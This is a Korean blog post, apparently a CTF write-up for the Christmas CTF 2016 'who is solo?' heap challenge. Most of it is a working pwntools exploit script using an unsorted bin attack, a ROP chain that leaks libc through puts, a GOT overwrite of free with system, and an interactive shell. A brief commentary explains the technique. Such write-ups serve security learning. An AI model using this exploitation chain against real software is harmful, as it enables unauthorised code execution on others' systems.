-
크리스마스CTF 2016 who is solo?Pwnable/CTF 2017. 8. 27. 04:251234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980from pwn import *p=process("./solo")elf=ELF("./solo")def malloc(number,size,data):p.recvuntil('$ ')p.sendline("1")p.recvuntil('Number: ')p.sendline(str(number))p.recvuntil('Size: ')p.sendline(str(size))p.recvuntil('Data: ')p.sendline(data)def free(number):p.recvuntil('$ ')p.sendline("2")p.recvuntil('number: ')p.sendline(str(number))def modify(data):p.recvuntil('$ ')p.sendline("201527")p.recvuntil('Data: ')p.send(data)def login_fun(pw):print p.recv(1024)p.sendline("4")print p.recv(1024)p.sendline(pw)def exit():p.recv(1024)p.sendline("5")login = 0x602080pop_rdi = 0x4008a0pop_rsi = 0x400d11malloc(1,256,"AAA")malloc(2,256,"BBB")free(1)modify(p64(0)+p64(login-0x10))malloc(3,260,"CCCC")payload = "A"*1032payload += p64(pop_rdi)payload += p64(elf.got['puts'])payload += p64(elf.plt['puts'])payload += p64(pop_rdi)payload += p64(0)payload += p64(pop_rsi)payload += p64(elf.got['free'])*2payload += p64(elf.plt['read'])payload += p64(pop_rdi)payload += p64(0)payload += p64(pop_rsi)payload += p64(elf.bss()+0x100)*2payload += p64(elf.plt['read'])payload += p64(pop_rdi)payload += p64(elf.bss()+0x100)payload += p64(elf.plt['free'])login_fun(payload)exit()puts = u64(p.recv(6)+"\00\00")base = puts - 0x6f690system = base + 0x45390binsh = system + 0x172017print hex(puts)p.sendline(p64(system))p.sendline("/bin/sh\00")p.interactive()
cs 아주 예전에 heap 아무것도 몰랏을때 봤다가 포기했었던 문제였다.
지금보니까 간단한 문제였다.
unsorted bin attack 으로 bk쪽에 bk - 16 에 login 주소를 넣고
malloc를 하면
bk 포인터가 반환되면서 bk 쪽에 main_arena가 들어간다.
unsorted bin attack 기법 문제는 leak 할때나 특정 변수에 값을 넣어야되는 문제에 많이 쓰일 것 같다.
(how2heap unsorted bin attack)
'Pwnable > CTF' 카테고리의 다른 글
hitcon 2014 stkof (0) 2017.09.04 크리스마스CTF 2016 house_of_daehee (0) 2017.08.28 BCTF 2016 Bcloud (0) 2017.08.27 YISF 2017 본선 (0) 2017.08.13 YISF 2017 write up (0) 2017.08.10